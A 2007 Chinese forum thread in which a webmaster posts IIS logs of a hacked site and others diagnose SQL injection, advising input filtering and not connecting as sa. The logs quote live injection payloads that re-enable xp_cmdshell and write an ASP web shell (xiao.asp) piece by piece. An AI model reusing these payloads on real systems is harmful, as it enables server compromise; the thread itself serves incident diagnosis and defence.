网站被黑，放出日志，请大侠帮小弟看看～～ 救命啊

vikingwo

2007-05-08 14:29:47 W3SVC597409326 xxx.xxx.xxx GET /view.asp id=1777;EXEc%20MaStER..Xp_CmdShell%20\'EcHo%20^<%25%20dim%20objFSO%20%25^>%20>f:\\xxx\\xiao.asp\';exec%20master..sp_dropextendedproc%20\'xp_cmdshell\'-- 80 - 125.124.130.199 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.0) 200 0 64\r\n2007-05-08 14:29:47 W3SVC597409326 xxx.xxx.xxx  GET /view.asp id=1777;use%20master%20dbcc%20addextendedproc(\'xp_cmdshell\',\'xplog70.dll\')--|142|80040e21|多步_OLE_DB_操作产生错误。如果可能，请检查每个_OLE_DB_状态值。没有工作被完成。 80 - 125.124.130.199 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.0) 500 0 64\r\n2007-05-08 14:29:47 W3SVC597409326 xxx.xxx.xxx  GET /view.asp id=1777;EXEc%20MaStER..Xp_CmdShell%20\'EcHo%20^<%25%20dim%20fdata%20%25^>%20>>f:\\xxxxiao.asp\';exec%20master..sp_dropextendedproc%20\'xp_cmdshell\'-- 80 - 125.124.130.199 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.0) 200 0 64\r\n2007-05-08 14:29:47 W3SVC597409326 xxx.xxx.xxx  GET /view.asp id=1777;use%20master%20dbcc%20addextendedproc(\'xp_cmdshell\',\'xplog70.dll\')--|142|80040e21|多步_OLE_DB_操作产生错误。如果可能，请检查每个_OLE_DB_状态值。没有工作被完成。 80 - 125.124.130.199 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.0) 500 0 64\r\n2007-05-08 14:29:47 W3SVC597409326 xxx.xxx.xxx  GET /view.asp id=1777;EXEc%20MaStER..Xp_CmdShell%20\'EcHo%20^<%25%20dim%20objCountFile%20%25^>%20>>f:\\xxx\\xiao.asp\';exec%20master..sp_dropextendedproc%20\'xp_cmdshell\'-- 80 - 125.124.130.199 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.0) 200 0 64\r\n2007-05-08 14:29:47 W3SVC597409326 xxx.xxx.xxx  GET /view.asp id=1777;use%20master%20dbcc%20addextendedproc(\'xp_cmdshell\',\'xplog70.dll\')--|142|80040e21|多步_OLE_DB_操作产生错误。如果可能，请检查每个_OLE_DB_状态值。没有工作被完成。 80 - 125.124.130.199 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.0) 500 0 64\r\n2007-05-08 14:29:47 W3SVC597409326 xxx.xxx.xxx  GET /view.asp id=1777;EXEc%20MaStER..Xp_CmdShell%20\'EcHo%20^<%25%20on%20error%20resume%20next%20%25^>%20>>f:\\xxx\\xiao.asp\';exec%20master..sp_dropextendedproc%20\'xp_cmdshell\'-- 80 - 125.124.130.199 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.0) 200 0 64\r\n2007-05-08 14:29:47 W3SVC597409326 xxx.xxx.xxx  GET /view.asp id=1777;use%20master%20dbcc%20addextendedproc(\'xp_cmdshell\',\'xplog70.dll\')--|142|80040e21|多步_OLE_DB_操作产生错误。如果可能，请检查每个_OLE_DB_状态值。没有工作被完成。 80 - 125.124.130.199 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.0) 500 0 64\r\n2007-05-08 14:29:47 W3SVC597409326 xxx.xxx.xxx  GET /view.asp id=1777;EXEc%20MaStER..Xp_CmdShell%20\'EcHo%20^<%25%20Set%20objFSO%20=%20Server.CreateObject(^\"Scripting.FileSystemObject^\")%20%25^>%20>>f:\\xxx\\xiao.asp\';exec%20master..sp_dropextendedproc%20\'xp_cmdshell\'-- 80 - 125.124.130.199 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.0) 200 0 64\r\n2007-05-08 14:29:47 W3SVC597409326 xxx.xxx.xxx GET /view.asp id=1777;use%20master%20dbcc%20addextendedproc(\'xp_cmdshell\',\'xplog70.dll\')--|142|80040e21|多步_OLE_DB_操作产生错误。如果可能，请检查每个_OLE_DB_状态值。没有工作被完成。 80 - 125.124.130.199 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.0) 500 0 64\r\n\r\n\r\n请大家帮我看一下，问题出在哪里 谢谢了！！！！

galf_yan

很明显是被注入了,xp_cmdshel几乎都是调用它、网站用到FSO？如果没有关掉吧。

vikingwo

请问楼上大哥，fso是什么，如何关闭呢，我对这些不是很了解，还请大哥解释一下  谢谢非常

cracy

view.asp有问题，有SQL注入漏洞。\r\n类似id=1777 这样的用户参数没有过滤非法字符，而且view.asp与数据库的连接是使用了管理员权限的帐号来连接，这样肯定存在问题啦。\r\n1、过滤非法字符；\r\n2、连接数据库的帐号不要用sa用户。\r\n\r\n另外，你的网站相信不止一个asp文件有问题，需要对所有的asp页面做一次全面的清查。